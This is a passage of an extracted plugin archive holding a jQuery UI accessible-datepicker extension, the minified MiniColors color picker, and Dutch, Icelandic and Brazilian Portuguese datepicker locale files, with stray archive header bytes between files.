		var activeCell = $('.' + this._dayOverClass, inst.dpDiv).get(0) || $('.' + this._currentClass, inst.dpDiv).get(0);
		if (activeCell) {
			activeCell = $(activeCell);
			activeCell.attr('id', inst.id + '-day-' + activeCell.text());
		}

		// allow focus on main container only
		inst.dpDiv.find('.ui-datepicker-calendar')
			.attr('tabindex', inst.inline ? '0' : '-1')
			.attr('role', 'grid')
			.attr('aria-readonly', 'true')
			.attr('aria-activedescendant', activeCell ? activeCell.attr('id') : '')
			.find('td').attr('role', 'gridcell').attr('aria-selected', 'false')
			.find('a').attr('tabindex', '-1');

		$('.ui-datepicker-current-day', inst.dpDiv).attr('aria-selected', 'true');

		inst.dpDiv.find('.ui-datepicker-title')
			.attr('id', inst.id + '-dp-title')

		// set focus again after update
		if (inst._hasfocus) {
			inst.dpDiv.find('.ui-datepicker-calendar').focus();
			inst._hasfocus = false;
		}
	},

	_selectDateRC: function(id, dateStr) {
		var target = $(id), inst = this._getInst(target[0]);

		dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
		if (inst.input) {
			inst.input.val(dateStr);
		}
		this._updateAlternate(inst);
		if (inst.input) {
			inst.input.trigger("change"); // fire the change event
		}
		if (inst.inline) {
			this._updateDatepicker(inst);
		}
	}
});

}(jQuery));
PKh�\RE�.��6plugins/jqueryui/js/jquery-ui-accessible-datepicker.jsnu�[���/*! jQuery UI Accessible Datepicker extension
* (to be appended to jquery-ui-*.custom.min.js)
*
* @licstart The following is the entire license notice for the
*  JavaScript code in this page.
*
* Copyright 2014 Kolab Systems AG
*
* The JavaScript code in this page is free software: you can
* redistribute it and/or modify it under the terms of the GNU
* General Public License (GNU GPL) as published by the Free Software
* Foundation, either version 3 of the License, or (at your option)
* any later version.  The code is distributed WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
*
* As additional permission under GNU GPL version 3 section 7, you
* may distribute non-source (e.g., minimized or compacted) forms of
* that code without the copy of the GNU GPL normally required by
* section 4, provided you include this license notice and a URL
* through which recipients can access the Corresponding Source.
*
* @licend The above is the entire license notice
*  for the JavaScript code in this page.
*/

(function($, undefined) {

// references to super class methods
var __newInst           = $.datepicker._newInst;
var __updateDatepicker  = $.datepicker._updateDatepicker;
var __connectDatepicker = $.datepicker._connectDatepicker;
var __showDatepicker    = $.datepicker._showDatepicker;
var __hideDatepicker    = $.datepicker._hideDatepicker;

// "extend" singleton instance methods
$.extend($.datepicker, {

	/* Create a new instance object */
	_newInst: function(target, inline) {
		var that = this, inst = __newInst.call(this, target, inline);

		if (inst.inline) {
			// attach keyboard event handler
			inst.dpDiv.on('keydown.datepicker', '.ui-datepicker-calendar', function(event) {
				// we're only interested navigation keys
				if ($.inArray(event.keyCode, [ 13, 33, 34, 35, 36, 37, 38, 39, 40]) == -1) {
					return;
				}
				event.stopPropagation();
				event.preventDefault();
				inst._hasfocus = true;

				var activeCell;
				switch (event.keyCode) {
					case $.ui.keyCode.ENTER:
						if ((activeCell = $('.' + that._dayOverClass, inst.dpDiv).get(0) || $('.' + that._currentClass, inst.dpDiv).get(0))) {
							that._selectDay(inst.input, inst.selectedMonth, inst.selectedYear, activeCell);
						}
						break;

					case $.ui.keyCode.PAGE_UP:
						that._adjustDate(inst.input, -that._get(inst, 'stepMonths'), 'M');
						break;
					case $.ui.keyCode.PAGE_DOWN:
						that._adjustDate(inst.input, that._get(inst, 'stepMonths'), 'M');
						break;

					default:
						return that._cursorKeydown(event, inst);
				}
			})
			.attr('role', 'region')
			.attr('aria-labelledby', inst.id + '-dp-title');
		}
		else {
			var widgetId = inst.dpDiv.attr('id') || inst.id + '-dp-widget';
			inst.dpDiv.attr('id', widgetId)
				.attr('aria-hidden', 'true')
				.attr('aria-labelledby', inst.id + '-dp-title');

				$(inst.input).attr('aria-haspopup', 'true')
					.attr('aria-expanded', 'false')
					.attr('aria-owns', widgetId);
		}

		return inst;
	},

	/* Attach the date picker to an input field */
	_connectDatepicker: function(target, inst) {
		__connectDatepicker.call(this, target, inst);

		var that = this;

		// register additional keyboard events to control date selection with cursor keys
		$(target).unbind('keydown.datepicker-extended').bind('keydown.datepicker-extended', function(event) {
			var inc = 1;
			switch (event.keyCode) {
				case 109:
				case 173:
				case 189:  // "minus"
					inc = -1;
				case 61:
				case 107:
				case 187:  // "plus"
					// do nothing if the input does not contain full date string
					if (this.value.length < that._formatDate(inst, inst.selectedDay, inst.selectedMonth, inst.selectedYear).length) {
						return true;
					}
					that._adjustInstDate(inst, inc, 'D');
					that._selectDateRC(target, that._formatDate(inst, inst.selectedDay, inst.selectedMonth, inst.selectedYear));
					return false;

				case $.ui.keyCode.UP:
				case $.ui.keyCode.DOWN:
					// unfold datepicker if not visible
					if ($.datepicker._lastInput !== target && !$.datepicker._isDisabledDatepicker(target)) {
						that._showDatepicker(event);
						event.stopPropagation();
						event.preventDefault();
						return false;
					}

				default:
					if (!$.datepicker._isDisabledDatepicker(target) && !event.ctrlKey && !event.metaKey) {
						return that._cursorKeydown(event, inst);
					}
			}
		})
		// fix https://bugs.jqueryui.com/ticket/8593
		.click(function (event) { that._showDatepicker(event); })
		.attr('autocomplete', 'off');
	},

	/* Handle keyboard event on datepicker widget */
	_cursorKeydown: function(event, inst) {
		inst._keyEvent = true;

		var isRTL = inst.dpDiv.hasClass('ui-datepicker-rtl');

		switch (event.keyCode) {
			case $.ui.keyCode.LEFT:
				this._adjustDate(inst.input, (isRTL ? +1 : -1), 'D');
				break;
			case $.ui.keyCode.RIGHT:
				this._adjustDate(inst.input, (isRTL ? -1 : +1), 'D');
				break;
			case $.ui.keyCode.UP:
				this._adjustDate(inst.input, -7, 'D');
				break;
			case $.ui.keyCode.DOWN:
				this._adjustDate(inst.input, +7, 'D');
				break;
			case $.ui.keyCode.HOME:
				// TODO: jump to first of month
				break;
			case $.ui.keyCode.END:
				// TODO: jump to end of month
				break;
		}

		return true;
	},

	/* Pop-up the date picker for a given input field */
	_showDatepicker: function(input) {
		input = input.target || input;
		__showDatepicker.call(this, input);

		var inst = $.datepicker._getInst(input);
		if (inst && $.datepicker._datepickerShowing) {
			inst.dpDiv.attr('aria-hidden', 'false');
			$(input).attr('aria-expanded', 'true');
		}
	},

	/* Hide the date picker from view */
	_hideDatepicker: function(input) {
		__hideDatepicker.call(this, input);

		var inst = this._curInst;
		if (inst && !$.datepicker._datepickerShowing) {
			inst.dpDiv.attr('aria-hidden', 'true');
			$(inst.input).attr('aria-expanded', 'false');
		}
	},

	/* Render the date picker content */
	_updateDatepicker: function(inst) {
		__updateDatepicker.call(this, inst);

		var activeCell = $('.' + this._dayOverClass, inst.dpDiv).get(0) || $('.' + this._currentClass, inst.dpDiv).get(0);
		if (activeCell) {
			activeCell = $(activeCell);
			activeCell.attr('id', inst.id + '-day-' + activeCell.text());
		}

		// allow focus on main container only
		inst.dpDiv.find('.ui-datepicker-calendar')
			.attr('tabindex', inst.inline ? '0' : '-1')
			.attr('role', 'grid')
			.attr('aria-readonly', 'true')
			.attr('aria-activedescendant', activeCell ? activeCell.attr('id') : '')
			.find('td').attr('role', 'gridcell').attr('aria-selected', 'false')
			.find('a').attr('tabindex', '-1');

		$('.ui-datepicker-current-day', inst.dpDiv).attr('aria-selected', 'true');

		inst.dpDiv.find('.ui-datepicker-title')
			.attr('id', inst.id + '-dp-title')

		// set focus again after update
		if (inst._hasfocus) {
			inst.dpDiv.find('.ui-datepicker-calendar').focus();
			inst._hasfocus = false;
		}
	},

	_selectDateRC: function(id, dateStr) {
		var target = $(id), inst = this._getInst(target[0]);

		dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
		if (inst.input) {
			inst.input.val(dateStr);
		}
		this._updateAlternate(inst);
		if (inst.input) {
			inst.input.trigger("change"); // fire the change event
		}
		if (inst.inline) {
			this._updateDatepicker(inst);
		}
	}
});

}(jQuery));
PKh�\�w�<�<,plugins/jqueryui/js/jquery.minicolors.min.jsnu�[���//
// jQuery MiniColors: A tiny color picker built on jQuery
//
// Developed by Cory LaViska for A Beautiful Site, LLC
//
// Licensed under the MIT license: http://opensource.org/licenses/MIT
//
!function(i){"function"==typeof define&&define.amd?define(["jquery"],i):"object"==typeof exports?module.exports=i(require("jquery")):i(jQuery)}(function(i){"use strict";function t(t,o){var s,a,n,e,r,l,h,d=i('<div class="minicolors" />'),p=i.minicolors.defaults;if(!t.data("minicolors-initialized")){if(o=i.extend(!0,{},p,o),d.addClass("minicolors-theme-"+o.theme).toggleClass("minicolors-with-opacity",o.opacity),void 0!==o.position&&i.each(o.position.split(" "),function(){d.addClass("minicolors-position-"+this)}),a="rgb"===o.format?o.opacity?"25":"20":o.keywords?"11":"7",t.addClass("minicolors-input").data("minicolors-initialized",!1).data("minicolors-settings",o).prop("size",a).wrap(d).after('<div class="minicolors-panel minicolors-slider-'+o.control+'"><div class="minicolors-slider minicolors-sprite"><div class="minicolors-picker"></div></div><div class="minicolors-opacity-slider minicolors-sprite"><div class="minicolors-picker"></div></div><div class="minicolors-grid minicolors-sprite"><div class="minicolors-grid-inner"></div><div class="minicolors-picker"><div></div></div></div></div>'),o.inline||(t.after('<span class="minicolors-swatch minicolors-sprite minicolors-input-swatch"><span class="minicolors-swatch-color"></span></span>'),t.next(".minicolors-input-swatch").on("click",function(i){i.preventDefault(),t.focus()})),l=t.parent().find(".minicolors-panel"),l.on("selectstart",function(){return!1}).end(),o.swatches&&0!==o.swatches.length)for(l.addClass("minicolors-with-swatches"),n=i('<ul class="minicolors-swatches"></ul>').appendTo(l),h=0;h<o.swatches.length;++h)"object"===i.type(o.swatches[h])?(s=o.swatches[h].name,e=o.swatches[h].color):(s="",e=o.swatches[h]),r=e,e=v(e)?g(e,!0):I(u(e,!0)),i('<li class="minicolors-swatch minicolors-sprite"><span class="minicolors-swatch-color" title="'+s+'"></span></li>').appendTo(n).data("swatch-color",r).find(".minicolors-swatch-color").css({backgroundColor:C(e),opacity:e.a}),o.swatches[h]=e;o.inline&&t.parent().addClass("minicolors-inline"),c(t,!1),t.data("minicolors-initialized",!0)}}function o(i){var t=i.parent();i.removeData("minicolors-initialized").removeData("minicolors-settings").removeProp("size").removeClass("minicolors-input"),t.before(i).remove()}function s(i){var t=i.parent(),o=t.find(".minicolors-panel"),s=i.data("minicolors-settings");!i.data("minicolors-initialized")||i.prop("disabled")||t.hasClass("minicolors-inline")||t.hasClass("minicolors-focus")||(a(),t.addClass("minicolors-focus"),o.animate?o.stop(!0,!0).fadeIn(s.showSpeed,function(){s.show&&s.show.call(i.get(0))}):(o.show(),s.show&&s.show.call(i.get(0))))}function a(){i(".minicolors-focus").each(function(){var t=i(this),o=t.find(".minicolors-input"),s=t.find(".minicolors-panel"),a=o.data("minicolors-settings");s.animate?s.fadeOut(a.hideSpeed,function(){a.hide&&a.hide.call(o.get(0)),t.removeClass("minicolors-focus")}):(s.hide(),a.hide&&a.hide.call(o.get(0)),t.removeClass("minicolors-focus"))})}function n(i,t,o){var s,a,n,r,c,l=i.parents(".minicolors").find(".minicolors-input"),h=l.data("minicolors-settings"),d=i.find("[class$=-picker]"),p=i.offset().left,u=i.offset().top,g=Math.round(t.pageX-p),m=Math.round(t.pageY-u),f=o?h.animationSpeed:0;t.originalEvent.changedTouches&&(g=t.originalEvent.changedTouches[0].pageX-p,m=t.originalEvent.changedTouches[0].pageY-u),g<0&&(g=0),m<0&&(m=0),g>i.width()&&(g=i.width()),m>i.height()&&(m=i.height()),i.parent().is(".minicolors-slider-wheel")&&d.parent().is(".minicolors-grid")&&(s=75-g,a=75-m,n=Math.sqrt(s*s+a*a),r=Math.atan2(a,s),r<0&&(r+=2*Math.PI),n>75&&(n=75,g=75-75*Math.cos(r),m=75-75*Math.sin(r)),g=Math.round(g),m=Math.round(m)),c={top:m+"px"},i.is(".minicolors-grid")&&(c.left=g+"px"),d.animate?d.stop(!0).animate(c,f,h.animationEasing,function(){e(l,i)}):(d.css(c),e(l,i))}function e(i,t){function o(i,t){var o,s;return i.length&&t?(o=i.offset().left,s=i.offset().top,{x:o-t.offset().left+i.outerWidth()/2,y:s-t.offset().top+i.outerHeight()/2}):null}var s,a,n,e,c,h,d,p=i.val(),u=i.attr("data-opacity"),g=i.parent(),m=i.data("minicolors-settings"),v=g.find(".minicolors-input-swatch"),b=g.find(".minicolors-grid"),w=g.find(".minicolors-slider"),y=g.find(".minicolors-opacity-slider"),C=b.find("[class$=-picker]"),M=w.find("[class$=-picker]"),x=y.find("[class$=-picker]"),I=o(C,b),S=o(M,w),z=o(x,y);if(t.is(".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider")){switch(m.control){case"wheel":e=b.width()/2-I.x,c=b.height()/2-I.y,h=Math.sqrt(e*e+c*c),d=Math.atan2(c,e),d<0&&(d+=2*Math.PI),h>75&&(h=75,I.x=69-75*Math.cos(d),I.y=69-75*Math.sin(d)),a=f(h/.75,0,100),s=f(180*d/Math.PI,0,360),n=f(100-Math.floor(S.y*(100/w.height())),0,100),p=k({h:s,s:a,b:n}),w.css("backgroundColor",k({h:s,s:a,b:100}));break;case"saturation":s=f(parseInt(I.x*(360/b.width()),10),0,360),a=f(100-Math.floor(S.y*(100/w.height())),0,100),n=f(100-Math.floor(I.y*(100/b.height())),0,100),p=k({h:s,s:a,b:n}),w.css("backgroundColor",k({h:s,s:100,b:n})),g.find(".minicolors-grid-inner").css("opacity",a/100);break;case"brightness":s=f(parseInt(I.x*(360/b.width()),10),0,360),a=f(100-Math.floor(I.y*(100/b.height())),0,100),n=f(100-Math.floor(S.y*(100/w.height())),0,100),p=k({h:s,s:a,b:n}),w.css("backgroundColor",k({h:s,s:a,b:100})),g.find(".minicolors-grid-inner").css("opacity",1-n/100);break;default:s=f(360-parseInt(S.y*(360/w.height()),10),0,360),a=f(Math.floor(I.x*(100/b.width())),0,100),n=f(100-Math.floor(I.y*(100/b.height())),0,100),p=k({h:s,s:a,b:n}),b.css("backgroundColor",k({h:s,s:100,b:100}))}u=m.opacity?parseFloat(1-z.y/y.height()).toFixed(2):1,r(i,p,u)}else v.find("span").css({backgroundColor:p,opacity:u}),l(i,p,u)}function r(i,t,o){var s,a=i.parent(),n=i.data("minicolors-settings"),e=a.find(".minicolors-input-swatch");n.opacity&&i.attr("data-opacity",o),"rgb"===n.format?(s=v(t)?g(t,!0):I(u(t,!0)),o=""===i.attr("data-opacity")?1:f(parseFloat(i.attr("data-opacity")).toFixed(2),0,1),!isNaN(o)&&n.opacity||(o=1),t=i.minicolors("rgbObject").a<=1&&s&&n.opacity?"rgba("+s.r+", "+s.g+", "+s.b+", "+parseFloat(o)+")":"rgb("+s.r+", "+s.g+", "+s.b+")"):(v(t)&&(t=y(t)),t=p(t,n.letterCase)),i.val(t),e.find("span").css({backgroundColor:t,opacity:o}),l(i,t,o)}function c(t,o){var s,a,n,e,r,c,h,d,w,C,x=t.parent(),I=t.data("minicolors-settings"),S=x.find(".minicolors-input-swatch"),z=x.find(".minicolors-grid"),F=x.find(".minicolors-slider"),T=x.find(".minicolors-opacity-slider"),j=z.find("[class$=-picker]"),D=F.find("[class$=-picker]"),q=T.find("[class$=-picker]");switch(v(t.val())?(s=y(t.val()),r=f(parseFloat(b(t.val())).toFixed(2),0,1),r&&t.attr("data-opacity",r)):s=p(u(t.val(),!0),I.letterCase),s||(s=p(m(I.defaultValue,!0),I.letterCase)),a=M(s),e=I.keywords?i.map(I.keywords.split(","),function(t){return i.trim(t.toLowerCase())}):[],c=""!==t.val()&&i.inArray(t.val().toLowerCase(),e)>-1?p(t.val()):v(t.val())?g(t.val()):s,o||t.val(c),I.opacity&&(n=""===t.attr("data-opacity")?1:f(parseFloat(t.attr("data-opacity")).toFixed(2),0,1),isNaN(n)&&(n=1),t.attr("data-opacity",n),S.find("span").css("opacity",n),d=f(T.height()-T.height()*n,0,T.height()),q.css("top",d+"px")),"transparent"===t.val().toLowerCase()&&S.find("span").css("opacity",0),S.find("span").css("backgroundColor",s),I.control){case"wheel":w=f(Math.ceil(.75*a.s),0,z.height()/2),C=a.h*Math.PI/180,h=f(75-Math.cos(C)*w,0,z.width()),d=f(75-Math.sin(C)*w,0,z.height()),j.css({top:d+"px",left:h+"px"}),d=150-a.b/(100/z.height()),""===s&&(d=0),D.css("top",d+"px"),F.css("backgroundColor",k({h:a.h,s:a.s,b:100}));break;case"saturation":h=f(5*a.h/12,0,150),d=f(z.height()-Math.ceil(a.b/(100/z.height())),0,z.height()),j.css({top:d+"px",left:h+"px"}),d=f(F.height()-a.s*(F.height()/100),0,F.height()),D.css("top",d+"px"),F.css("backgroundColor",k({h:a.h,s:100,b:a.b})),x.find(".minicolors-grid-inner").css("opacity",a.s/100);break;case"brightness":h=f(5*a.h/12,0,150),d=f(z.height()-Math.ceil(a.s/(100/z.height())),0,z.height()),j.css({top:d+"px",left:h+"px"}),d=f(F.height()-a.b*(F.height()/100),0,F.height()),D.css("top",d+"px"),F.css("backgroundColor",k({h:a.h,s:a.s,b:100})),x.find(".minicolors-grid-inner").css("opacity",1-a.b/100);break;default:h=f(Math.ceil(a.s/(100/z.width())),0,z.width()),d=f(z.height()-Math.ceil(a.b/(100/z.height())),0,z.height()),j.css({top:d+"px",left:h+"px"}),d=f(F.height()-a.h/(360/F.height()),0,F.height()),D.css("top",d+"px"),z.css("backgroundColor",k({h:a.h,s:100,b:100}))}t.data("minicolors-initialized")&&l(t,c,n)}function l(i,t,o){var s,a,n,e=i.data("minicolors-settings"),r=i.data("minicolors-lastChange");if(!r||r.value!==t||r.opacity!==o){if(i.data("minicolors-lastChange",{value:t,opacity:o}),e.swatches&&0!==e.swatches.length){for(s=v(t)?g(t,!0):I(t),a=-1,n=0;n<e.swatches.length;++n)if(s.r===e.swatches[n].r&&s.g===e.swatches[n].g&&s.b===e.swatches[n].b&&s.a===e.swatches[n].a){a=n;break}i.parent().find(".minicolors-swatches .minicolors-swatch").removeClass("selected"),a!==-1&&i.parent().find(".minicolors-swatches .minicolors-swatch").eq(n).addClass("selected")}e.change&&(e.changeDelay?(clearTimeout(i.data("minicolors-changeTimeout")),i.data("minicolors-changeTimeout",setTimeout(function(){e.change.call(i.get(0),t,o)},e.changeDelay))):e.change.call(i.get(0),t,o)),i.trigger("change").trigger("input")}}function h(t){var o,s=i(t).attr("data-opacity");if(v(i(t).val()))o=g(i(t).val(),!0);else{var a=u(i(t).val(),!0);o=I(a)}return o?(void 0!==s&&i.extend(o,{a:parseFloat(s)}),o):null}function d(t,o){var s,a=i(t).attr("data-opacity");if(v(i(t).val()))s=g(i(t).val(),!0);else{var n=u(i(t).val(),!0);s=I(n)}return s?(void 0===a&&(a=1),o?"rgba("+s.r+", "+s.g+", "+s.b+", "+parseFloat(a)+")":"rgb("+s.r+", "+s.g+", "+s.b+")"):null}function p(i,t){return"uppercase"===t?i.toUpperCase():i.toLowerCase()}function u(i,t){return i=i.replace(/^#/g,""),i.match(/^[A-F0-9]{3,6}/gi)?3!==i.length&&6!==i.length?"":(3===i.length&&t&&(i=i[0]+i[0]+i[1]+i[1]+i[2]+i[2]),"#"+i):""}function g(i,t){var o=i.replace(/[^\d,.]/g,""),s=o.split(",");return s[0]=f(parseInt(s[0],10),0,255),s[1]=f(parseInt(s[1],10),0,255),s[2]=f(parseInt(s[2],10),0,255),void 0!==s[3]&&(s[3]=f(parseFloat(s[3],10),0,1)),t?void 0!==s[3]?{r:s[0],g:s[1],b:s[2],a:s[3]}:{r:s[0],g:s[1],b:s[2]}:"undefined"!=typeof s[3]&&s[3]<=1?"rgba("+s[0]+", "+s[1]+", "+s[2]+", "+s[3]+")":"rgb("+s[0]+", "+s[1]+", "+s[2]+")"}function m(i,t){return v(i)?g(i):u(i,t)}function f(i,t,o){return i<t&&(i=t),i>o&&(i=o),i}function v(i){var t=i.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i);return!(!t||4!==t.length)}function b(i){return i=i.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+(\.\d{1,2})?|\.\d{1,2})[\s+]?/i),i&&6===i.length?i[4]:"1"}function w(i){var t={},o=Math.round(i.h),s=Math.round(255*i.s/100),a=Math.round(255*i.b/100);if(0===s)t.r=t.g=t.b=a;else{var n=a,e=(255-s)*a/255,r=(n-e)*(o%60)/60;360===o&&(o=0),o<60?(t.r=n,t.b=e,t.g=e+r):o<120?(t.g=n,t.b=e,t.r=n-r):o<180?(t.g=n,t.r=e,t.b=e+r):o<240?(t.b=n,t.r=e,t.g=n-r):o<300?(t.b=n,t.g=e,t.r=e+r):o<360?(t.r=n,t.g=e,t.b=n-r):(t.r=0,t.g=0,t.b=0)}return{r:Math.round(t.r),g:Math.round(t.g),b:Math.round(t.b)}}function y(i){return i=i.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i),i&&4===i.length?"#"+("0"+parseInt(i[1],10).toString(16)).slice(-2)+("0"+parseInt(i[2],10).toString(16)).slice(-2)+("0"+parseInt(i[3],10).toString(16)).slice(-2):""}function C(t){var o=[t.r.toString(16),t.g.toString(16),t.b.toString(16)];return i.each(o,function(i,t){1===t.length&&(o[i]="0"+t)}),"#"+o.join("")}function k(i){return C(w(i))}function M(i){var t=x(I(i));return 0===t.s&&(t.h=360),t}function x(i){var t={h:0,s:0,b:0},o=Math.min(i.r,i.g,i.b),s=Math.max(i.r,i.g,i.b),a=s-o;return t.b=s,t.s=0!==s?255*a/s:0,0!==t.s?i.r===s?t.h=(i.g-i.b)/a:i.g===s?t.h=2+(i.b-i.r)/a:t.h=4+(i.r-i.g)/a:t.h=-1,t.h*=60,t.h<0&&(t.h+=360),t.s*=100/255,t.b*=100/255,t}function I(i){return i=parseInt(i.indexOf("#")>-1?i.substring(1):i,16),{r:i>>16,g:(65280&i)>>8,b:255&i}}i.minicolors={defaults:{animationSpeed:50,animationEasing:"swing",change:null,changeDelay:0,control:"hue",defaultValue:"",format:"hex",hide:null,hideSpeed:100,inline:!1,keywords:"",letterCase:"lowercase",opacity:!1,position:"bottom",show:null,showSpeed:100,theme:"default",swatches:[]}},i.extend(i.fn,{minicolors:function(n,e){switch(n){case"destroy":return i(this).each(function(){o(i(this))}),i(this);case"hide":return a(),i(this);case"opacity":return void 0===e?i(this).attr("data-opacity"):(i(this).each(function(){c(i(this).attr("data-opacity",e))}),i(this));case"rgbObject":return h(i(this),"rgbaObject"===n);case"rgbString":case"rgbaString":return d(i(this),"rgbaString"===n);case"settings":return void 0===e?i(this).data("minicolors-settings"):(i(this).each(function(){var t=i(this).data("minicolors-settings")||{};o(i(this)),i(this).minicolors(i.extend(!0,t,e))}),i(this));case"show":return s(i(this).eq(0)),i(this);case"value":return void 0===e?i(this).val():(i(this).each(function(){"object"==typeof e&&null!==e?(void 0!==e.opacity&&i(this).attr("data-opacity",f(e.opacity,0,1)),e.color&&i(this).val(e.color)):i(this).val(e),c(i(this))}),i(this));default:return"create"!==n&&(e=n),i(this).each(function(){t(i(this),e)}),i(this)}}}),i([document]).on("mousedown.minicolors touchstart.minicolors",function(t){i(t.target).parents().add(t.target).hasClass("minicolors")||a()}).on("mousedown.minicolors touchstart.minicolors",".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider",function(t){var o=i(this);t.preventDefault(),i(t.delegateTarget).data("minicolors-target",o),n(o,t,!0)}).on("mousemove.minicolors touchmove.minicolors",function(t){var o=i(t.delegateTarget).data("minicolors-target");o&&n(o,t)}).on("mouseup.minicolors touchend.minicolors",function(){i(this).removeData("minicolors-target")}).on("click.minicolors",".minicolors-swatches li",function(t){t.preventDefault();var o=i(this),s=o.parents(".minicolors").find(".minicolors-input"),a=o.data("swatch-color");r(s,a,b(a)),c(s)}).on("mousedown.minicolors touchstart.minicolors",".minicolors-input-swatch",function(t){var o=i(this).parent().find(".minicolors-input");t.preventDefault(),s(o)}).on("focus.minicolors",".minicolors-input",function(){var t=i(this);t.data("minicolors-initialized")&&s(t)}).on("blur.minicolors",".minicolors-input",function(){var t,o,s,a,n,e=i(this),r=e.data("minicolors-settings");e.data("minicolors-initialized")&&(t=r.keywords?i.map(r.keywords.split(","),function(t){return i.trim(t.toLowerCase())}):[],""!==e.val()&&i.inArray(e.val().toLowerCase(),t)>-1?n=e.val():(v(e.val())?s=g(e.val(),!0):(o=u(e.val(),!0),s=o?I(o):null),n=null===s?r.defaultValue:"rgb"===r.format?g(r.opacity?"rgba("+s.r+","+s.g+","+s.b+","+e.attr("data-opacity")+")":"rgb("+s.r+","+s.g+","+s.b+")"):C(s)),a=r.opacity?e.attr("data-opacity"):1,"transparent"===n.toLowerCase()&&(a=0),e.closest(".minicolors").find(".minicolors-input-swatch > span").css("opacity",a),e.val(n),""===e.val()&&e.val(m(r.defaultValue,!0)),e.val(p(e.val(),r.letterCase)))}).on("keydown.minicolors",".minicolors-input",function(t){var o=i(this);if(o.data("minicolors-initialized"))switch(t.which){case 9:a();break;case 13:case 27:a(),o.blur()}}).on("keyup.minicolors",".minicolors-input",function(){var t=i(this);t.data("minicolors-initialized")&&c(t,!0)}).on("paste.minicolors",".minicolors-input",function(){var t=i(this);t.data("minicolors-initialized")&&setTimeout(function(){c(t,!0)},1)})});PKh�\�s��,plugins/jqueryui/js/i18n/datepicker-nl-BE.jsnu�[���/* Dutch (Belgium) initialisation for the jQuery UI date picker plugin. */
/* David De Sloovere @DavidDeSloovere */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "nl-BE" ] = {
	closeText: "Sluiten",
	prevText: "Vorig",
	nextText: "Volgende",
	currentText: "Vandaag",
	monthNames: [ "januari", "februari", "maart", "april", "mei", "juni",
	"juli", "augustus", "september", "oktober", "november", "december" ],
	monthNamesShort: [ "jan", "feb", "mrt", "apr", "mei", "jun",
	"jul", "aug", "sep", "okt", "nov", "dec" ],
	dayNames: [ "zondag", "maandag", "dinsdag", "woensdag", "donderdag", "vrijdag", "zaterdag" ],
	dayNamesShort: [ "zon", "maa", "din", "woe", "don", "vri", "zat" ],
	dayNamesMin: [ "zo", "ma", "di", "wo", "do", "vr", "za" ],
	weekHeader: "Wk",
	dateFormat: "dd/mm/yy",
	firstDay: 1,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "nl-BE" ] );

return datepicker.regional[ "nl-BE" ];

} );
PKh�\���E)plugins/jqueryui/js/i18n/datepicker-is.jsnu�[���/* Icelandic initialisation for the jQuery UI date picker plugin. */
/* Written by Haukur H. Thorsson (haukur@eskill.is). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional.is = {
	closeText: "Loka",
	prevText: "Fyrri",
	nextText: "Næsti ",
	currentText: "Í dag",
	monthNames: [ "Janúar", "Febrúar", "Mars", "Apríl", "Maí", "Júní",
	"Júlí", "Ágúst", "September", "Október", "Nóvember", "Desember" ],
	monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "Maí", "Jún",
	"Júl", "Ágú", "Sep", "Okt", "Nóv", "Des" ],
	dayNames: [
		"Sunnudagur",
		"Mánudagur",
		"Þriðjudagur",
		"Miðvikudagur",
		"Fimmtudagur",
		"Föstudagur",
		"Laugardagur"
	],
	dayNamesShort: [ "Sun", "Mán", "Þri", "Mið", "Fim", "Fös", "Lau" ],
	dayNamesMin: [ "Su", "Má", "Þr", "Mi", "Fi", "Fö", "La" ],
	weekHeader: "Vika",
	dateFormat: "dd.mm.yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional.is );

return datepicker.regional.is;

} );
PKh�\���7,plugins/jqueryui/js/i18n/datepicker-pt-BR.jsnu�[���/* Brazilian initialisation for the jQuery UI date picker plugin. */
/* Written by Leonildo Costa Silva (leocsilva@gmail.com). */
( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [ "../widgets/datepicker" ], factory );
	} else {

		// Browser globals
		factory( jQuery.datepicker );
	}
} )( function( datepicker ) {
"use strict";

datepicker.regional[ "pt-BR" ] = {
	closeText: "Fechar",
	prevText: "Anterior",
	nextText: "Próximo",
	currentText: "Hoje",
	monthNames: [ "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho",
	"Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ],
	monthNamesShort: [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun",
	"Jul", "Ago", "Set", "Out", "Nov", "Dez" ],
	dayNames: [
		"Domingo",
		"Segunda-feira",
		"Terça-feira",
		"Quarta-feira",
		"Quinta-feira",
		"Sexta-feira",
		"Sábado"
	],
	dayNamesShort: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb" ],
	dayNamesMin: [ "Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb" ],
	weekHeader: "Sm",
	dateFormat: "dd/mm/yy",
	firstDay: 0,
	isRTL: false,
	showMonthAfterYear: false,
	yearSuffix: "" };
datepicker.setDefaults( datepicker.regional[ "pt-BR" ] );

return datepicker.regional[ "pt-BR" ];

} );
